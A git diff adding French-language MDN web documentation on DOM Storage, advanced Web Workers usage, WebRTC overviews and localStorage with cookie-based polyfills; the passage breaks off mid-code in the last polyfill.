Une des premières applications publiques à utiliser la fonctionnalité DOM Storage (en plus de la fonctionnalité userData Behavior d'Internet Explorer) a été halfnote (une application de prise de notes) écrite par Aaron Boodman. Dans son application, Aaron enregistre de manière simultanée les notes sur un serveur distant (lorsque la connexion Internet est disponible) et dans un espace d'enregistrement local. Cette méthode permet à l'utilisateur de rédiger ses notes de manière sûre, même avec une connexion Internet sporadique.

+

Bien que le concept et l'implémentation présentés dans halfnote soient relativement simples, sa création montre la possibilité d'une nouvelle gamme d'applications Web utilisables tant en ligne qu'hors ligne.

+

Référence

+

Les objets suivants sont globaux et existent comme propriétés de tout objet window. Cela signifie qu'on peut y accéder avec sessionStorage ou window.sessionStorage. (c'est important à savoir, parce qu'on peut alors utiliser des iframes pour stocker ou accéder à des données supplémentaires à celles immédiatement disponibles dans la page).

+

sessionStorage

+

Il s'agit d'un objet global (sessionStorage) qui conserve un espace de stockage disponible pour toute la durée de la session de la page. Une session de page dure aussi longtemps que le navigateur est ouvert et se poursuit au travers des rechargements de la page. L'ouverture d'une page dans un nouvel onglet ou une nouvelle fenêtre provoquera la création d'une nouvelle session pour la page.

+
// Enregistre des données dans l'espace de stockage de la session courante
+sessionStorage.username = "John";
+
+// Accède à une donnée stockée
+alert( "username = " + sessionStorage.username );
+
+

L'objet sessionStorage est surtout utile pour conserver des données temporaires qui doivent être enregistrées et restaurées si la fenêtre du navigateur est accidentellement ou volontairement rafraichie.

+
+ Note : sessionStorage devrait également être capable de restaurer les données après un crash (et une restauration de la session) du navigateur, mais suite au {{ Bug(339445) }} cela ne fonctionne pas encore dans Firefox. Tant qu'il n'est pas résolu, l'utilisation de sessionStorage comme mesure préventive est discutable.
+

Exemples :

+

Enregistre automatiquement le contenu d'un champ texte et, si la page est rafraichie accidentellement, restaure ce contenu afin qu'aucun texte ne soit perdu.

+
 // Recherche le champ texte à suivre
+ var field = document.getElementById("field");
+
+ // Vérifie s'il y a une valeur de sauvegarde automatique
+ // (ce qui se produira uniquement si la page est rafraichie)
+ if ( sessionStorage.autosave ) {
+     // Restaure le contenu du champ texte
+     field.value = sessionStorage.autosave;
+ }
+
+ // Vérifie le contenu du champ texte à chaque seconde
+ setInterval(function(){
+     // Et enregistre le résultat dans l'objet de stockage de session
+     sessionStorage.autosave = field.value;
+ }, 1000);
+
+

Pour plus d'informations :

+ +

globalStorage

+

{{ Non-standard_header() }} Il s'agit d'un objet global (globalStorage) qui conserve une série d'espaces de stockage privés pour conserver des données sur une longue période de temps (par exemple depuis plusieurs pages et d'une session de navigation à l'autre).

+
// Enregistre des données auxquelles seuls les scripts du domaine peuvent accéder
+globalStorage['mozilla.org'].snippet = "<b>Hello</b>, comment ça va ?";
+
+// Enregistre des données auxquelles toute page Web, sur n'importe quel domaine, peut accéder
+globalStorage[''].favBrowser = "Firefox";
+
+

Plus précisément, l'objet globalStorage permet d'accéder à différents objets de stockage dans lesquels des données peuvent être enregistrées. Par exemple, si l'on voulait construire une page Web utilisant globalStorage sur ce domaine (developer.mozilla.org) nous devrions disposer de l'objet de stockage suivant :

+ +

{{ Fx_minversion_note(3, "Firefox 2 permettait d\'accéder à des objets de stockage plus haut dans la hiérarchie de domaine que le document actuel. Ce n\'est plus permis dans Firefox 3, pour des raisons de sécurité. Cet ajout à HTML 5 a également été retiré des spécifications HTML 5 en faveur de localStorage, qui n\'a pas encore été implémenté dans Firefox.") }}

+

Exemples :

+

Pour tous ces exemples, vous aurez besoin d'insérer un script (en plus des lignes de codes suivantes) dans chaque page sur laquelle vous désirez afficher le résultat.

+

Retient le nom d'utilisateur d'un visiteur pour le sous-domaine particulier visité :

+
 globalStorage['developer.mozilla.org'].username = "John";
+
+

Compte le nombre de fois qu'un visiteur visite n'importe quelle page de votre domaine :

+
 // parseInt doit être utilisée car toutes les données sont stockées comme des chaînes
+ globalStorage['mozilla.org'].visits =
+     parseInt( globalStorage['mozilla.org'].visits || 0 ) + 1;
+
+

Pour plus d'informations

+ +

Exemples

+ +

Sujets liés

+ +
+  
+
+

{{ languages( { "en": "en/DOM/Storage", "es": "es/DOM/Almacenamiento", "ja": "ja/DOM/Storage", "pl": "pl/DOM/Storage", "zh-cn": "cn/DOM/Storage" } ) }}

+
+

 

diff --git a/files/fr/conflicting/web/api/web_workers_api/using_web_workers/index.html b/files/fr/conflicting/web/api/web_workers_api/using_web_workers/index.html new file mode 100644 index 0000000000..b925ca7f4b --- /dev/null +++ b/files/fr/conflicting/web/api/web_workers_api/using_web_workers/index.html @@ -0,0 +1,423 @@ +--- +title: Concepts avancés et exemples +slug: Web/API/Web_Workers_API/Advanced_concepts_and_examples +translation_of: Web/API/Web_Workers_API/Using_web_workers +translation_of_original: Web/API/Web_Workers_API/Advanced_concepts_and_examples +--- +
+

Cet article fournit de nombreux détails et maints exemples pour illustrer les concepts avancés des web workers.

+
+ +

Passage de données : copie, et non partage

+ +

Les données passées entre la page principale et les workers sont copiées, et non partagées. Les objets sont sérialisées au moment où ils sont confiés au worker, et consécutivement désérialisés à l'autre bout. La page et le worker ne partagent pas la même instance, ainsi au final une copie est créée de chaque côté. La plupart des navigateurs implémentent cette caractéristique en tant que clonage structuré.

+ +

Avant de poursuivre, créons à des fins didactiques une fonction nommée emulateMessage(), avec pour objectif de simuler le comportement d'une valeur qui est clonée et non partagée durant le passage du worker à la page principale ou inversement :

+ +
function emulateMessage (vVal) {
+    return eval("(" + JSON.stringify(vVal) + ")");
+}
+
+// Tests
+
+// test #1
+var example1 = new Number(3);
+alert(typeof example1); // objet
+alert(typeof emulateMessage(example1)); // nombre
+
+// test #2
+var example2 = true;
+alert(typeof example2); // booléen
+alert(typeof emulateMessage(example2)); // booléen
+
+// test #3
+var example3 = new String("Hello World");
+alert(typeof example3); // objet
+alert(typeof emulateMessage(example3)); // chaîne de caractères
+
+// test #4
+var example4 = {
+    "name": "John Smith",
+    "age": 43
+};
+alert(typeof example4); // objet
+alert(typeof emulateMessage(example4)); // objet
+
+// test #5
+function Animal (sType, nAge) {
+    this.type = sType;
+    this.age = nAge;
+}
+var example5 = new Animal("Cat", 3);
+alert(example5.constructor); // Animal
+alert(emulateMessage(example5).constructor); // Objet
+ +

Une valeur qui est clonée et non partagée est appelée message. Comme vous le savez probablement dès à présent, les messages peuvent être envoyés à et à partir du thread principal en utilisant postMessage(), et l'attribut {{domxref("MessageEvent.data", "data")}} de l'événement message contient les données retournées par le worker.

+ +

example.html (la page principale) :

+ +
var myWorker = new Worker("my_task.js");
+
+myWorker.onmessage = function (oEvent) {
+  console.log("Worker said : " + oEvent.data);
+};
+
+myWorker.postMessage("ali");
+ +

my_task.js (leworker) :

+ +
postMessage("I\'m working before postMessage(\'ali\').");
+
+onmessage = function (oEvent) {
+  postMessage("Hi " + oEvent.data);
+};
+ +

L'algorithme de clonage structurée peut accepter du JSON et quelques autres choses impossibles en JSON — comme les références circulaires.

+ +

Exemples de passages de données

+ +

Exemple #1 : Créer un "eval() asynchrone" générique

+ +

L'exemple suivant montre comment utiliser un worker afin d'exécuter de manière asynchrone n'importe quel code JavaScript permis dans un worker, au moyen d'une méthode eval() appelée dans le worker :

+ +
// Syntaxe : asyncEval(code[, listener])
+
+var asyncEval = (function () {
+
+  var aListeners = [], oParser = new Worker("data:text/javascript;charset=US-ASCII,onmessage%20%3D%20function%20%28oEvent%29%20%7B%0A%09postMessage%28%7B%0A%09%09%22id%22%3A%20oEvent.data.id%2C%0A%09%09%22evaluated%22%3A%20eval%28oEvent.data.code%29%0A%09%7D%29%3B%0A%7D");
+
+  oParser.onmessage = function (oEvent) {
+    if (aListeners[oEvent.data.id]) { aListeners[oEvent.data.id](oEvent.data.evaluated); }
+    delete aListeners[oEvent.data.id];
+  };
+
+
+  return function (sCode, fListener) {
+    aListeners.push(fListener || null);
+    oParser.postMessage({
+      "id": aListeners.length - 1,
+      "code": sCode
+    });
+  };
+
+})();
+ +

La data URI est équivalente à une requête réseau, avec la réponse suivante :

+ +
onmessage = function (oEvent) {
+	postMessage({
+		"id": oEvent.data.id,
+		"evaluated": eval(oEvent.data.code)
+	});
+}
+ +

Exemples d'utilisation :

+ +
// message d'alerte asynchrone...
+asyncEval("3 + 2", function (sMessage) {
+    alert("3 + 2 = " + sMessage);
+});
+
+// affichage asynchrone d'un message...
+asyncEval("\"Hello World!!!\"", function (sHTML) {
+    document.body.appendChild(document.createTextNode(sHTML));
+});
+
+// néant asynchrone...
+asyncEval("(function () {\n\tvar oReq = new XMLHttpRequest();\n\toReq.open(\"get\", \"http://www.mozilla.org/\", false);\n\toReq.send(null);\n\treturn oReq.responseText;\n})()");
+ +

Exemple #2 : passage avancé de données JSON et création d'un système d'échange

+ +

Si vous devez passer des données complexes et appeler différentes fonctions à la fois dans la page principale et dans le worker, vous pouvez créer un système comme suit.

+ +

example.html (la page principale) :

+ +
<!doctype html>
+<html>
+<head>
+<meta charset="UTF-8"  />
+<title>MDN Example - Queryable worker</title>
+<script type="text/javascript">
+  /*
+    QueryableWorker instances methods:
+     * sendQuery(queryable function name, argument to pass 1, argument to pass 2, etc. etc): calls a Worker's queryable function
+     * postMessage(string or JSON Data): see Worker.prototype.postMessage()
+     * terminate(): terminates the Worker
+     * addListener(name, function): adds a listener
+     * removeListener(name): removes a listener
+    QueryableWorker instances properties:
+     * defaultListener: the default listener executed only when the Worker calls the postMessage() function directly
+  */
+  function QueryableWorker (sURL, fDefListener, fOnError) {
+    var oInstance = this, oWorker = new Worker(sURL), oListeners = {};
+    this.defaultListener = fDefListener || function () {};
+    oWorker.onmessage = function (oEvent) {
+      if (oEvent.data instanceof Object && oEvent.data.hasOwnProperty("vo42t30") && oEvent.data.hasOwnProperty("rnb93qh")) {
+        oListeners[oEvent.data.vo42t30].apply(oInstance, oEvent.data.rnb93qh);
+      } else {
+        this.defaultListener.call(oInstance, oEvent.data);
+      }
+    };
+    if (fOnError) { oWorker.onerror = fOnError; }
+    this.sendQuery = function (/* nom de la fonction requêtable, argument à passer 1, argument à passer 2, etc. etc */) {
+      if (arguments.length < 1) { throw new TypeError("QueryableWorker.sendQuery - not enough arguments"); return; }
+      oWorker.postMessage({ "bk4e1h0": arguments[0], "ktp3fm1": Array.prototype.slice.call(arguments, 1) });
+    };
+    this.postMessage = function (vMsg) {
+      //Je ne pense pas qu'il y ait besoin d'appeler la méthode call()
+      //que diriez-vous tout simplement de oWorker.postMessage(vMsg);
+      //le même cas se pose avec terminate
+      //bien, juste un peu plus vite, aucune recherche dans la chaîne des prototypes
+      Worker.prototype.postMessage.call(oWorker, vMsg);
+    };
+    this.terminate = function () {
+      Worker.prototype.terminate.call(oWorker);
+    };
+    this.addListener = function (sName, fListener) {
+      oListeners[sName] = fListener;
+    };
+    this.removeListener = function (sName) {
+      delete oListeners[sName];
+    };
+  };
+
+  // votre worker "queryable" personnalisé
+  var oMyTask = new QueryableWorker("my_task.js" /* , votreEcouteurDeMessageParDefautIci [optional], votreEcouteurDErreurIci [optional] */);
+
+  // vos "écouteurs" personnalisés
+
+  oMyTask.addListener("printSomething", function (nResult) {
+    document.getElementById("firstLink").parentNode.appendChild(document.createTextNode(" The difference is " + nResult + "!"));
+  });
+
+  oMyTask.addListener("alertSomething", function (nDeltaT, sUnit) {
+    alert("Worker waited for " + nDeltaT + " " + sUnit + " :-)");
+  });
+</script>
+</head>
+<body>
+  <ul>
+    <li><a id="firstLink" href="javascript:oMyTask.sendQuery('getDifference', 5, 3);">What is the difference between 5 and 3?</a></li>
+    <li><a href="javascript:oMyTask.sendQuery('waitSomething');">Wait 3 seconds</a></li>
+    <li><a href="javascript:oMyTask.terminate();">terminate() the Worker</a></li>
+  </ul>
+</body>
+</html>
+ +

my_task.js (le worker) :

+ +
// vos fonctions PRIVEES personnalisées
+
+function myPrivateFunc1 () {
+  // instructions à exécuter
+}
+
+function myPrivateFunc2 () {
+  // instructions à exécuter
+}
+
+// etc. etc.
+
+// vos fonctions PUBLIQUES personnalisées (i.e. requêtables depuis la page principale)
+
+var queryableFunctions = {
+  // exemple #1 : obtenir la différence entre deux nombres :
+  getDifference: function (nMinuend, nSubtrahend) {
+      reply("printSomething", nMinuend - nSubtrahend);
+  },
+  // exemple #2 : attendre trois secondes
+  waitSomething: function () {
+      setTimeout(function() { reply("alertSomething", 3, "seconds"); }, 3000);
+  }
+};
+
+// fonctions système
+
+function defaultQuery (vMsg) {
+  // votre fonction PUBLIQUE par défaut est exécutée seulement lorsque la page principale appelle la méthode queryableWorker.postMessage() directement
+  // instructions à exécuter
+}
+
+function reply (/* listener name, argument to pass 1, argument to pass 2, etc. etc */) {
+  if (arguments.length < 1) { throw new TypeError("reply - not enough arguments"); return; }
+  postMessage({ "vo42t30": arguments[0], "rnb93qh": Array.prototype.slice.call(arguments, 1) });
+}
+
+onmessage = function (oEvent) {
+  if (oEvent.data instanceof Object && oEvent.data.hasOwnProperty("bk4e1h0") && oEvent.data.hasOwnProperty("ktp3fm1")) {
+    queryableFunctions[oEvent.data.bk4e1h0].apply(self, oEvent.data.ktp3fm1);
+  } else {
+    defaultQuery(oEvent.data);
+  }
+};
+ +

Il est possible d'échanger le contenu de chaque message page principale -> worker et worker -> page principale.

+ +

Passage de données par transfert de propriété (objets transférables)

+ +

Google Chrome 17+ et Firefox 18+ proposent une manière additionnelle de passer certains types d'objets (les objets transférables, c'est-à-dire les objets implémentant l'interface {{domxref("Transferable")}}) vers ou à partir d'un worker avec une haute performance. Les objets transférables sont transférés d'un contexte vers un autre sans aucune opération de copie, ce qui conduit à d'énormes gains de performance lorsque de gros ensembles de données sont envoyés. Considérez la chose comme un passage par référence si vous venez du monde C/C++. Cependant, contrairement au passage par référence, la 'version' issue du contexte appelant n'est plus disponible une fois transférée. Sa propriété est transférée au nouveau contexte. Par exemple, lors du transfert d'un {{domxref("ArrayBuffer")}} à partir de votre application principale vers le script d'un worker, le {{domxref("ArrayBuffer")}} original est nettoyé et définitivement inutilisable. Son contenu est (tout à fait littéralement) transféré au contexte du worker.

+ +
// Crée un "fichier" de 32MB et le remplit.
+var uInt8Array = new Uint8Array(1024*1024*32); // 32MB
+for (var i = 0; i < uInt8Array.length; ++i) {
+  uInt8Array[i] = i;
+}
+
+worker.postMessage(uInt8Array.buffer, [uInt8Array.buffer]);
+
+ +
+

Remarque : pour plus d'information sur les objets transférables, la performance et la détection de fonctionnalité de cette méthode, lisez Transferable Objects: Lightning Fast! sur HTML5 Rocks.

+
+ +

Workers embarqués

+ +

Il n'y a pas une manière "officielle" d'embarquer le code d'un worker dans une page web, comme les éléments {{ HTMLElement("script") }} le font pour les scripts normaux. Mais un élément {{ HTMLElement("script") }} qui n'aurait pas d'attribut src et dont l'attribut type n'identifierait pas un type MIME exécutable peut être considéré comme un élément de bloc de données dont JavaScript peut faire usage.  Les "blocs de données" sont une caractéristique plus générale d'HTML5 qui peuvent contenir presque n'importe quelles données textuelles. Ainsi, un worker pourrait être embarqué de cette façon :

+ +
<!DOCTYPE html>
+<html>
+<head>
+<meta charset="UTF-8" />
+<title>MDN Example - Embedded worker</title>
+<script type="text/js-worker">
+  // Ce script NE SERA PAS traité par les moteurs JS parce que son type MIME est text/js-worker.
+  var myVar = "Hello World!";
+  // Le reste du code de votre worker commence ici.
+</script>
+<script type="text/javascript">
+  // Ce script SERA analysé par les moteurs JS engines parce que son type MIME est text/javascript.
+  function pageLog (sMsg) {
+    // Utilisation d'un fragment : le navigateur réaffichera/réorganisera le DOM seulement une fois.
+    var oFragm = document.createDocumentFragment();
+    oFragm.appendChild(document.createTextNode(sMsg));
+    oFragm.appendChild(document.createElement("br"));
+    document.querySelector("#logDisplay").appendChild(oFragm);
+  }
+</script>
+<script type="text/js-worker">
+  // Ce script NE SERA PAS traité par les moteurs JS parce que son type MIME est text/js-worker.
+  onmessage = function (oEvent) {
+    postMessage(myVar);
+  };
+  // Le reste du code de votre worker commence ici.
+</script>
+<script type="text/javascript">
+  // Ce script SERA analysé par les moteurs JS engines parce que son type MIME est text/javascript.
+
+  // Dans le passé... :
+  // blob builder a existé
+  // ...mais nous utilisons désormais Blob...:
+  var blob = new Blob(Array.prototype.map.call(document.querySelectorAll("script[type=\"text\/js-worker\"]"), function (oScript) { return oScript.textContent; }),{type: "text/javascript"});
+
+  // Création d'une nouvelle propriété document.worker contenant tous nos scripts "text/js-worker".
+  document.worker = new Worker(window.URL.createObjectURL(blob));
+
+  document.worker.onmessage = function (oEvent) {
+    pageLog("Received: " + oEvent.data);
+  };
+
+  // Démarrage du worker.
+  window.onload = function() { document.worker.postMessage(""); };
+</script>
+</head>
+<body><div id="logDisplay"></div></body>
+</html>
+ +

Le worker embarqué est maintenant imbriqué dans une nouvelle propriété personnalisée document.worker.

+ +

Exemples

+ +

Cette section fournit plusieurs exemples sur la façon d'utiliser les workers DOM.

+ +

Réaliser des calculs en arrière-plan

+ +

Les workers sont principalement utiles pour permettre à votre code de réaliser des calculs très consommateur en CPU sans bloquer le thread de l'interface utilisateur. Dans cet exemple, un worker est utilisé pour calculer la suite de Fibonacci.

+ +

Le code JavaScript

+ +

Le code JavaScript suivant est stocké dans le fichier "fibonacci.js" référencé par le fichier HTML dans la prochaine section.

+ +
var results = [];
+
+function resultReceiver(event) {
+  results.push(parseInt(event.data));
+  if (results.length == 2) {
+    postMessage(results[0] + results[1]);
+  }
+}
+
+function errorReceiver(event) {
+  throw event.data;
+}
+
+onmessage = function(event) {
+  var n = parseInt(event.data);
+
+  if (n == 0 || n == 1) {
+    postMessage(n);
+    return;
+  }
+
+  for (var i = 1; i <= 2; i++) {
+    var worker = new Worker("fibonacci.js");
+    worker.onmessage = resultReceiver;
+    worker.onerror = errorReceiver;
+    worker.postMessage(n - i);
+  }
+ };
+ +

Le worker affecte à la propriété onmessage  une fonction qui recevra les messages envoyés lorsque la méthode  postMessage() de l'objet worker est appelée (remarquez que cela diffère de définir une variable globale de ce nom, ou de définir une fonction avec ce nom.   var onmessage et function onmessage définissent des propriétés globales avec ces noms, mais elles n'enregistrent pas la fonction pour recevoir les messages envoyés par la page web qui a créé le worker). Au démarrage de la récursion, il engendre ainsi de nouvelles copies de lui-même pour gérer chacune des itérations du calcul.

+ +

Le code HTML

+ +
<!DOCTYPE html>
+<html>
+  <head>
+    <meta charset="UTF-8"  />
+    <title>Test threads fibonacci</title>
+  </head>
+  <body>
+
+  <div id="result"></div>
+
+  <script language="javascript">
+
+    var worker = new Worker("fibonacci.js");
+
+    worker.onmessage = function(event) {
+      document.getElementById("result").textContent = event.data;
+      dump("Got: " + event.data + "\n");
+    };
+
+    worker.onerror = function(error) {
+      dump("Worker error: " + error.message + "\n");
+      throw error;
+    };
+
+    worker.postMessage("5");
+
+  </script>
+  </body>
+</html>
+
+ +

La page web crée un élément div avec l'ID  result , qui sera utilisé pour afficher le résultat, puis engendre le worker.  Après création du worker, le gestionnaire onmessage est configuré pour afficher les résultats en renseignant le contenu de l'élément div, et le gestionnaire onerror est configuré pour capturer le message d'erreur.

+ +

Finalement, un message est envoyé au worker pour le démarrer.

+ +

Tester cet exemple.

+ +

Réaliser des E/S web en arrière-plan

+ +

Vous pouvez trouver un tel exemple dans l'article Using workers in extensions .

+ +

Répartir des tâches entre plusieurs workers

+ +

Les ordinateurs multi-coeur étant de plus en plus répandus, il est souvent utile de répartir le calcul de tâches complexes entre différents workers afin de tirer partie des coeurs de ces multiprocesseurs.

+ +

Voir aussi

+ + diff --git a/files/fr/conflicting/web/api/webrtc_api/index.html b/files/fr/conflicting/web/api/webrtc_api/index.html new file mode 100644 index 0000000000..2d516d62d5 --- /dev/null +++ b/files/fr/conflicting/web/api/webrtc_api/index.html @@ -0,0 +1,52 @@ +--- +title: WebRTC +slug: Web/Guide/API/WebRTC +tags: + - Intro + - WebRTC +translation_of: Web/API/WebRTC_API +translation_of_original: Web/Guide/API/WebRTC +--- +

WebRTC (où RTC signifie Real-Time Communications -Communications en temps réel-) est une technologie qui permet la transmission en continue (streaming) de l'audio/vidéo et le partage de données entre les navigateurs clients (peers). Comme un ensemble de normes (standards), le WebRTC fournit à n'importe quel navigateur la capacité de partager des données d'application et d'effectuer des téléconférences d’égal à égal, sans avoir à installer quelques plug-ins ou logiciels tiers.

+

Les composants WebRTC sont accessibles grâce aux APIs JavaScript : l'API de flux réseau (Network Stream), qui représente un flux de données audio ou vidéo ; l'API de Connexion (PeerConnection), qui permet à plusieurs utilisateurs de communiquer via leurs navigateurs ; et l'API DataChannel qui permet la communication d'autres types de données pour le jeu en temps réel, dialogue en ligne, transfert de fichiers, etc.

+
+

Note: Cette documentation n'est pas à jour et est un travail en cours. Vous voulez aider? Nous avons besoin de personnes pour parcourir ces docs et les mettre à jour, tout autant que de documenter les APIs dans notre référence d’API! Consultez notre guide à la page Débuter sur MDN si vous voulez aider.

+
+

Guide

+
+
+ Introduction au WebRTC
+
+ Guide d'introduction à ce qu’est WebRTC et comment ça marche.
+
+ Communications Peer-to-peer avec WebRTC
+
+ Comment faire pour effectuer des communications peer-to-peer en utilisant les APIs WebRTC.
+
+ Prendre des photos avec la webcam
+
+ Un guide d'introduction à ce qu’est WebRTC et à comment ça marche.
+
+ Introduction à l'architecture WebRTC
+
+ (AKA "WebRTC et l'océan des acronymes") WebRTC a beaucoup de parties différentes et cela peut être accablant et source de confusion pour les nouveaux venus. Cet article a pour but d'expliquer qu’elles sont toutes les pièces, et comment elles s'imbriquent.
+
+ L’essentiel du WebRTC
+
+ Maintenant que vous comprenez l'architecture WebRTC, vous pouvez passer à cet article, qui vous emmène à travers la création d'une application multi-navigateur RTC simple.
+
+

Référence

+
+
+ Navigator.getUserMedia
+
+ L'API pour capturer des médias (audio/video).
+
+ RTCPeerConnection
+
+ L'interface traitant en continu des données entre deux pairs.
+
+ RTCDataChannel
+
+ L'interface pour l'envoi des données arbitraires à travers la connexion de pair (peer connection).
+
diff --git a/files/fr/conflicting/web/api/webrtc_api_d8621144cbc61520339c3b10c61731f0/index.html b/files/fr/conflicting/web/api/webrtc_api_d8621144cbc61520339c3b10c61731f0/index.html new file mode 100644 index 0000000000..7bff67c30f --- /dev/null +++ b/files/fr/conflicting/web/api/webrtc_api_d8621144cbc61520339c3b10c61731f0/index.html @@ -0,0 +1,77 @@ +--- +title: WebRTC +slug: WebRTC +tags: + - WebRTC +translation_of: Web/API/WebRTC_API +translation_of_original: WebRTC +--- +

Le RTC de WebRTC est synonyme de communications en temps réel, la technologie qui permet streaming audio / vidéo et le partage de données entre les clients de navigateur (pairs). Comme ensemble de normes, WebRTC permet à n'importe quel navigateur d'avoir la possibilité de partager les données d'application et d'effectuer des téléconférences entre pairs, sans la nécessité d'installer des plug-ins ou logiciels tiers.

+ +
 
+ +
Les composants WebRTC sont accessibles avec JavaScript API. Sont actuellement en développement les flux de réseau API, ce qui représente un fichier audio ou un flux de données vidéo, et l'API de connexion, qui permet à deux ou plusieurs utilisateurs de communiquer par l'intermédiaire des navigateurs. Également en cours de développement : une API qui permet la communication par DataChannel d'autres types de données pour les jeux en temps réel, chat texte, transfert de fichiers, et ainsi de suite.
+ +
 
+ +
Envie de découvrir WebRTC ? Suivre cette introduction vidéo ! (en Anglais)
+ +
 
+ +
 
+ + + + + + + + +
+

Documentation de WebRTC

+ +
+
Introduction à WebRTC
+
Un guide d'introduction pour comprendre ce qu'est WebRTC et comment il fonctionne.
+
Utilisation de l'API de flux réseau
+
Un guide d'utilisation de l'API de flux réseau pour diffuser de l'audio et de la vidéo.
+
Communications de pair-à-pair avec WebRTC
+
Comment effectuer des communications pair-à-pair en utilisant l'Api WebRTC.
+
Prendre des photos avec la webcam
+
 
+
MediaStream API
+
L'API qui permet la production et la manipulation d'objets de flux multimédia.
+
getUserMedia ()
+
La fonction de navigation qui permet d'accéder aux périphériques du système des médias.
+
+ +

Afficher tout ...

+ 		+

Obtenir de l'aide de la communauté

+ +

Lors du développement de sites et d'applications Web qui tirent parti des technologies WebRTC, il peut être utile d'engager la conversation avec les autres.

+ +
    +
  • Consultez le forum au sujet des Médias: {{DiscussionList ("dev-média", "mozilla.dev.media")}}
    • +
+ +
    +
  • Posez votre question sur le canal IRC de Mozilla médias: # media
    • +
+ +

N'oubliez pas la netiquette...

+ + + + + +

Ressource

+ +
    +
  • {{spec("http://www.w3.org/TR/webrtc/", "WebRTC specification", "wd")}}
    • +
+
+ +

 

diff --git a/files/fr/conflicting/web/api/window/localstorage/index.html b/files/fr/conflicting/web/api/window/localstorage/index.html new file mode 100644 index 0000000000..9f6c400f86 --- /dev/null +++ b/files/fr/conflicting/web/api/window/localstorage/index.html @@ -0,0 +1,135 @@ +--- +title: LocalStorage +slug: Web/API/Storage/LocalStorage +translation_of: Web/API/Window/localStorage +translation_of_original: Web/API/Web_Storage_API/Local_storage +--- +

{{APIRef()}}

+ +

La propriété localStorage de l’objet Window est comparable à {{ DOMxRef("Window.sessionStorage", "sessionStorage") }} (la même {{ Glossary("same-origin_policy", "politique de même origine") }} est appliquée), mais les données enregistrées sont persistantes d’une session à l’autre. localStorage a été introduit dans Firefox 3.5.

+ +
Note : Quand le navigateur est en mode navigation privée, une nouvelle base de donnée temporaire est créée pour stocker les données locales ; cette base de données est vidée et supprimée quand le mode de navigation privée est arrêté.
+ +
// Sauvegarder les informations dans l’espace local courant
+localStorage.setItem("username", "John");
+
+// Accéder à des données enregistrées
+alert("username = " + localStorage.getItem("username"));
+ +

La persistence de localStorage le rend utile pour une varitété d’usages, comprenant des compteurs de vues de page comme démontré dans ce tutoriel sur Codepen.

+ +

Compatibilité

+ +

Les objets {{ DOMxRef("Storage") }} sont un ajout récent au standard. Ainsi, ils pourraient ne pas être présents dans tous les navigateurs. Il est possible de contourner ce problème en insérant l’un des deux codes suivants au début de vos scripts. Cela vous permettra d’utiliser l’objet localStorage dans les navigateurs qui ne le supportent pas nativement.

+ +

Cet algorithme est une imitation exacte de l’objet localStorage, mais utilise les cookies.

+ +
if (!window.localStorage) {
+  Object.defineProperty(window, "localStorage", new (function () {
+    var aKeys = [], oStorage = {};
+    Object.defineProperty(oStorage, "getItem", {
+      value: function (sKey) { return sKey ? this[sKey] : null; },
+      writable: false,
+      configurable: false,
+      enumerable: false
+    });
+    Object.defineProperty(oStorage, "key", {
+      value: function (nKeyId) { return aKeys[nKeyId]; },
+      writable: false,
+      configurable: false,
+      enumerable: false
+    });
+    Object.defineProperty(oStorage, "setItem", {
+      value: function (sKey, sValue) {
+        if(!sKey) { return; }
+        document.cookie = escape(sKey) + "=" + escape(sValue) + "; expires=Tue, 19 Jan 2038 03:14:07 GMT; path=/";
+      },
+      writable: false,
+      configurable: false,
+      enumerable: false
+    });
+    Object.defineProperty(oStorage, "length", {
+      get: function () { return aKeys.length; },
+      configurable: false,
+      enumerable: false
+    });
+    Object.defineProperty(oStorage, "removeItem", {
+      value: function (sKey) {
+        if(!sKey) { return; }
+        document.cookie = escape(sKey) + "=; expires=Thu, 01 Jan 1970 00:00:00 GMT; path=/";
+      },
+      writable: false,
+      configurable: false,
+      enumerable: false
+    });
+    this.get = function () {
+      var iThisIndx;
+      for (var sKey in oStorage) {
+        iThisIndx = aKeys.indexOf(sKey);
+        if (iThisIndx === -1) { oStorage.setItem(sKey, oStorage[sKey]); }
+        else { aKeys.splice(iThisIndx, 1); }
+        delete oStorage[sKey];
+      }
+      for (aKeys; aKeys.length > 0; aKeys.splice(0, 1)) { oStorage.removeItem(aKeys[0]); }
+      for (var aCouple, iKey, nIdx = 0, aCouples = document.cookie.split(/\s*;\s*/); nIdx < aCouples.length; nIdx++) {
+        aCouple = aCouples[nIdx].split(/\s*=\s*/);
+        if (aCouple.length > 1) {
+          oStorage[iKey = unescape(aCouple[0])] = unescape(aCouple[1]);
+          aKeys.push(iKey);
+        }
+      }
+      return oStorage;
+    };
+    this.configurable = false;
+    this.enumerable = true;
+  })());
+}
+
+ +
Note : La taille maximale des données est limitée par la capacité des cookies. Avec cet algorithme, utilisez les fonctions localStorage.setItem() et localStorage.removeItem() pour ajouter, changer ou supprimer une clé. L’utilisation des méthodes localStorage.yourKey = yourValue; et delete localStorage.yourKey; pour définir ou supprimer une clé n’est pas sécurisée avec ce code. Vous pouvez également changer son nom et l’utiliser pour gérer uniquement les cookies indépendamment de l’objet localStorage.
+ +
Note : En remplaçant "; expires=Tue, 19 Jan 2038 03:14:07 GMT; path=/" par "; path=/" (et en changeant le nom de l’objet), cela deviendra un polyfill pour sessionStorage plutôt que pour localStorage. Cependant, cette implémentation partagera les valeurs stockées entre les fenêtres et onglets du navigateur (et sera nettoyée seulement quand toutes les fenêtres du navigateur sont fermées), tandis qu’une implémentation fidèle de sessionStorage restreint les valeurs stockées au {{ Glossary("Browsing_context", "contexte de navigation") }} actuel uniquement.
+ +

Voici une autre imitation, moins exacte, de l’objet localStorage. Elle est plus simple que la version précédente, mais est compatible avec les navigateur plus anciens comme Internet Explorer < 8 (testé et vérifié même avec Internet Explorer 6). Ce code utilise également les cookies.

+ +
if (!window.localStorage) {
+  window.localStorage = {
+    getItem: function (sKey) {
+      if (!sKey || !this.hasOwnProperty(sKey)) { return null; }
+      return unescape(document.cookie.replace(new RegExp("(?:^|.*;\\s*)" + escape(sKey).replace(/[\-\.\+\*]/g, "\\$&") + "\\s*\\=\\s*((?:[^;](?!;))*[^;]?).*"), "$1"));
+    },
+    key: function (nKeyId) {
+      return unescape(document.cookie.replace(/\s*\=(?:.(?!;))*$/, "").split(/\s*\=(?:[^;](?!;))*[^;]?;\s*/)[nKeyId]);
+    },
+    setItem: function (sKey, sValue) {
+      if(!sKey) { return; }
+      document.cookie = escape(sKey) + "=" + escape(sValue) + "; expires=Tue, 19 Jan 2038 03:14:07 GMT; path=/";
+      this.length = document.cookie.match(/\=/g).length;
+    },
+    length: 0,
+    removeItem: function (sKey) {
